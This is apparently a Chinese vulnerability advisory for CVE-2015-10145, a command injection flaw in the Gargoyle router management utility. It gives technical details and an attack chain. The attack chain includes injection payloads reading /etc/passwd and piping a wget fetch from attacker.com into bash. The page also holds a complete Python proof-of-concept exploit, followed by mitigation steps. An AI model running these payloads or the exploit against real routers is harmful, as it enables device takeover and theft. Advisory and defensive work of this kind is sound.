IPBUF安全漏洞报告
English
CVE-2015-10145 CVSS 8.8 高危

CVE-2015-10145 Gargoyle路由器管理工具命令执行漏洞

披露日期: 2025-12-31

漏洞信息

漏洞编号
CVE-2015-10145
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Gargoyle Router Management Utility

相关标签

CVE-2015-10145命令执行路由器漏洞Gargoyle认证后漏洞OS命令注入网络设备安全CVE-2015

漏洞概述

Gargoyle路由器管理工具1.5.x版本存在认证后OS命令执行漏洞。该漏洞位于/utility/run_commands.sh脚本中,应用程序未对通过'commands'参数输入的内容进行充分的限制或验证。攻击者在获取低权限认证后,可利用此漏洞在底层系统上执行任意shell命令。成功利用此漏洞可能导致设备完全沦陷,包括未授权访问系统文件、执行攻击者控制的命令等严重后果。由于该漏洞攻击复杂度低且无需用户交互,对暴露在网络中的Gargoyle路由器构成严重威胁。攻击者可通过构造恶意请求包,在已认证会话中注入系统命令,从而获取设备的最高控制权限。

技术细节

漏洞根源在于run_commands.sh脚本对用户输入的'commands'参数缺乏有效的输入验证和过滤机制。攻击者可在认证后通过HTTP请求向该脚本传递精心构造的命令字符串,由于参数直接拼接到shell命令中执行,导致命令注入漏洞。攻击者可通过分号、管道符等shell元字符构造恶意载荷,例如在commands参数中注入';whoami'或'|cat /etc/passwd'等命令。漏洞的利用前提是攻击者需要具备有效的认证凭证,但认证要求较低(PR:L),获取认证的难度不大。成功利用后,攻击者可在路由器上建立持久化后门、窃取网络流量或进一步横向移动。由于Gargoyle基于OpenWrt构建,攻击者获取的shell权限等同于root权限,可完全控制整个路由器系统。

攻击链分析

STEP 1
Reconnaissance
识别目标Gargoyle路由器版本,确认版本为1.5.x系列且/utility/run_commands.sh端点可访问
STEP 2
Authentication
通过web登录界面获取有效认证凭证(用户名和密码),或利用其他漏洞获取低权限账户
STEP 3
Payload Crafting
构造恶意命令载荷,使用分号、管道符等shell元字符注入自定义系统命令,如';cat /etc/passwd'或'|wget http://attacker.com/shell.sh|bash'
STEP 4
Exploitation
通过HTTP POST请求向/utility/run_commands.sh发送构造的payload,commands参数未经过滤直接拼接到shell命令中执行
STEP 5
Post-Exploitation
成功执行命令后,可进一步获取root shell、建立持久化后门、窃取网络流量或横向渗透内网其他设备

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2015-10145 PoC - Gargoyle Router Authenticated Command Execution # Target: Gargoyle Router Management Utility < 1.5.x def exploit(target_url, username, password, command): """ Exploit authenticated command execution in Gargoyle router Args: target_url: Base URL of Gargoyle router web interface username: Valid username for authentication password: Valid password for authentication command: Command to execute on the target system """ session = requests.Session() # Step 1: Authenticate to the Gargoyle web interface login_data = { 'username': username, 'password': password } try: login_url = f"{target_url}/login.cgi" response = session.post(login_url, data=login_data, timeout=10) # Step 2: Inject malicious command via commands parameter exploit_url = f"{target_url}/utility/run_commands.sh" payload = {'commands': f';{command}'} exploit_response = session.post(exploit_url, data=payload, timeout=10) print(f"[*] Command executed successfully") print(f"[*] Output:\n{exploit_response.text}") return True except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <command>") print(f"Example: python {sys.argv[0]} http://192.168.1.1 admin admin 'cat /etc/passwd'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] cmd = sys.argv[4] exploit(target, user, pwd, cmd)

影响范围

Gargoyle Router Management Utility 1.5.x

防御指南

临时缓解措施
在厂商发布修复版本前,可采取以下临时缓解措施:1)限制Gargoyle管理界面的访问来源,仅允许受信任的IP地址访问;2)更改默认管理凭证,使用强密码策略;3)启用防火墙规则,阻止外部对管理端口的访问;4)监控网络流量,检测异常的HTTP请求模式;5)考虑使用VPN连接进行远程管理。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表